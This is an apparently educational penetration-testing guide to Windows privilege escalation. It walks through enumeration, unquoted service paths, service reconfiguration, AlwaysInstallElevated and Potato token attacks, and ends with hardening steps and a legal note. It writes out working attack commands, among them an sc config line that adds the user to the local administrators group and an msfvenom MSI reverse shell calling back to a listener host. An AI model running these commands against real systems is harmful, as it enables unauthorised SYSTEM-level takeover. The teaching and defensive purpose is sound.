Windows Privilege Escalation: Techniques Guide (2026)

What Is Windows Privilege Escalation?

What is Windows privilege escalation? Windows privilege escalation is the technique of gaining higher permissions on a Windows system than your current account holds, usually moving from a standard user or a service account to a local Administrator or to SYSTEM. It exploits local misconfigurations and unpatched flaws rather than the remote weakness that got you the shell in the first place.

Initial access almost never lands you as SYSTEM. A vulnerable web application runs under an IIS application pool identity, a compromised database runs as the MSSQL service account, a phished credential logs you in as an ordinary domain user. None of those can dump the local hashes, install a persistent service, or move laterally with full control. SYSTEM can. Escalation is the bridge, and MITRE ATT&CK tracks it as its own tactic, TA0004, because nearly every serious Windows intrusion depends on it.

Windows escalation feels different from its Linux counterpart. Instead of a single permission bit like SUID, you are looking at how Windows registers services, resolves file paths, and hands out tokens. The good news is the same: most of it is configuration, not memory corruption. You do not need to write shellcode to reach SYSTEM on the majority of vulnerable hosts. You need to enumerate carefully and recognize a short list of patterns.

Step 1 - Enumerate the Host

Enumeration is where every SYSTEM shell begins. Before you try anything, you build a picture of the machine: who you are, what privileges your token carries, which services run, and how far behind the box is on patches.

Start with the two commands that cost nothing and often point straight at the answer:

whoami /priv        # the privileges your current token holds
whoami /groups      # your group memberships and integrity level

That first line matters more than beginners expect. If whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege as Enabled, you likely have a near-instant SYSTEM path through a token attack before you look at anything else. Service accounts, including IIS and MSSQL identities, carry that privilege by default, which is exactly why web and database compromises so often end in a full takeover.

From there, widen the net. Pull the patch level and architecture with systeminfo, list services and their executable paths with wmic service get name,pathname,startmode, check the two AlwaysInstallElevated registry keys, and read any config files or scripts left in C:\, web roots, and user profiles for stored credentials. In practice, a database connection string sitting in a web.config or an unattended install Unattend.xml is one of the most common real-world paths, and no automated tool prioritizes it for you.

Doing all of this by hand is slow, so most testers run an automated enumeration script to sweep the host in one pass. WinPEAS is the Windows counterpart to the Linux tool covered in our LinPEAS guide, and PowerUp (part of PowerSploit) focuses specifically on service and registry escalation checks. Both flag candidates in seconds. Neither exploits anything. They tell you where to look; you still have to open the door yourself.

Unquoted Service Paths

When a Windows service registers an executable path that contains spaces and is not wrapped in quotes, the way Windows resolves that path becomes an escalation bug. Take a service configured to run C:\Program Files\Vuln App\service.exe with no quotes. Before reaching the intended binary, Windows tries each space-delimited fragment in order:

C:\Program.exe
C:\Program Files\Vuln.exe
C:\Program Files\Vuln App\service.exe

It runs the first one that exists. If you can write to C:\ or to C:\Program Files\Vuln App\, you drop a malicious Program.exe or Vuln.exe there, and it executes with the service's privileges, frequently SYSTEM, the next time the service starts.

Find candidates by listing service paths and picking out the ones with spaces and no surrounding quotes:

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

The write-permission check is the part that separates a real finding from a false positive. A service can have an unquoted path and still be safe if every parent directory denies you write access. Confirm with icacls on each folder in the path before you get excited, then verify you can restart the service or wait for a reboot. Without a write-and-restart, an unquoted path is a report-only observation, not a shell.

Weak Service Permissions

Even with a correctly quoted path, a service is exploitable if your user can modify how it runs. There are two flavors, and both end the same way.

The first is write access to the service binary itself. If the executable a SYSTEM service launches sits in a directory you can write to, you replace it with your own payload and restart the service. The second, and more common, is permission to reconfigure the service. Enumerate what your user can change with accesschk from Sysinternals:

accesschk.exe /accepteula -uwcqv "%USERNAME%" *

If the output shows SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS on a service, you can point its binary path at anything you like. The textbook move is to have the service add you to the local administrators group on its next start:

sc config VulnService binPath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnService
sc start VulnService

PowerUp automates the discovery of both cases with its Get-ModifiableService and Invoke-ServiceAbuse functions, which is why it belongs in your first enumeration pass. The mismatch to hunt for is any SYSTEM-level service that a non-admin user can rewrite. That gap is the whole vulnerability.

AlwaysInstallElevated

AlwaysInstallElevated is a Windows Installer policy that, when enabled, lets any user install MSI packages with SYSTEM privileges. It exists so non-admin staff can install approved software, and it is one of the cleanest escalation paths when an administrator has left it on. The catch for defenders is that it requires two registry keys to be set, one in the machine hive and one in the user hive, and admins sometimes flip both without appreciating what it opens up.

Check both keys. You need each of them returning a value of 0x1:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both are set, you build a malicious MSI, deliver it, and let Windows install it as SYSTEM. Our msfvenom cheat sheet covers generating the package; the payload itself is a standard Windows reverse shell wrapped in MSI format:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f msi -o setup.msi
msiexec /quiet /qn /i setup.msi

Catch the connection on your listener and you have a SYSTEM shell. In practice this is one of the first checks worth running, because it is a single policy lookup and the payoff is total. When it is enabled, nothing else about the box matters.

Token Impersonation and Potato Attacks

This is the technique that reliably escalates modern, well-patched Windows hosts, because it abuses an intended feature rather than a bug. Windows uses access tokens to represent a security context, and SeImpersonatePrivilege lets a process act on behalf of another user's token when that user connects to it. Service accounts hold this privilege by design so they can impersonate the clients they serve, documented in Microsoft's privilege constants reference.

The family of tools known as Potato attacks weaponizes that privilege. Each variant coerces a SYSTEM-level service into authenticating to a listener the attacker controls, captures the resulting token, and reuses it to spawn a process as SYSTEM. PrintSpoofer is the go-to on current Windows versions: it triggers the Print Spooler service over a named pipe and hands the captured SYSTEM token straight to a command of your choice.

PrintSpoofer.exe -i -c cmd
# in the new shell:
whoami
# nt authority\system

RoguePotato and GodPotato cover the cases where PrintSpoofer does not apply. The decision rule is simple: if whoami /priv shows SeImpersonatePrivilege enabled, a Potato attack is usually the shortest route to SYSTEM, and it works against hosts where every service path is quoted and every patch is current. That is what makes token impersonation the escalation path serious testers reach for first on a hardened box.

Registry Hives and Real-World CVEs

When configuration paths run dry, unpatched vulnerabilities become the target. Two Windows escalation flaws are worth knowing by name because they shipped in production for years and were exploited hard once public.

HiveNightmare, also called SeriousSAM (CVE-2021-36934), was an access-control flaw where the files backing the registry, including the SAM database that stores local password hashes, became readable by non-admin users on Windows 10 build 1809 and later. Because Windows keeps volume shadow copies of those hives, a standard user could read a snapshot copy of the SAM, extract the local Administrator hash, and escalate. Always check whether the config hives are readable when you land on an unpatched Windows 10 or 11 host.

PrintNightmare (CVE-2021-34527) targeted the Print Spooler service, which runs as SYSTEM and is enabled by default on most installs. A flaw in how it validated driver installation let an authenticated user install a malicious printer driver and run code as SYSTEM. It was serious enough that CISA issued an emergency directive, a step reserved for vulnerabilities under active, widespread exploitation.

Match the patch level from systeminfo against known CVEs before reaching for a public exploit, and confirm the target is a lab or an engagement where instability is authorized. A kernel-level exploit that bluescreens a production host is a far bigger problem than a missed flag.

Windows Privilege Escalation Cheat Sheet

Keep this enumeration order next to your terminal. It runs from the checks most likely to pay off quickly to the ones you reach for when the easy paths are dry.

How to Defend Against It

How do you prevent Windows privilege escalation? Remove the specific misconfigurations attackers rely on. No single control stops all of it, but each path above closes with a concrete, cheap fix.

• Quote every service path that contains spaces, and deny write access to service binaries and their parent directories. This kills the unquoted-path and binary-replacement paths at once.
• Audit service permissions. No non-admin account should hold SERVICE_CHANGE_CONFIG on a service running as SYSTEM. Review these with accesschk during hardening, not after an incident.
• Never enable AlwaysInstallElevated. It grants every user a SYSTEM install primitive. If software deployment needs elevation, use a managed tool that runs under its own controlled context instead.
• Constrain service account privileges. Where a service does not need SeImpersonatePrivilege, remove it, and prefer virtual or group-managed service accounts that limit the blast radius of a token attack.
• Patch on a real cadence. PrintNightmare and HiveNightmare were both closed by an update. Most successful escalations happen on hosts that are months behind.

When testing real hosts, the fastest way to find these gaps before an attacker does is to run the same enumeration an attacker would, WinPEAS plus a manual service and token review, on a schedule rather than once at deployment.

Legal and Ethical Considerations

Every command in this guide is what a real attacker runs to turn a foothold into full compromise. The only thing separating a penetration tester from a criminal typing the same syntax is authorization, agreed in writing before the engagement starts.

Practice legally in three venues: bug bounty programs within their published scope, paid engagements under a signed statement of work, and sandboxed lab platforms built to be broken. Everything above is written for those three and nothing else.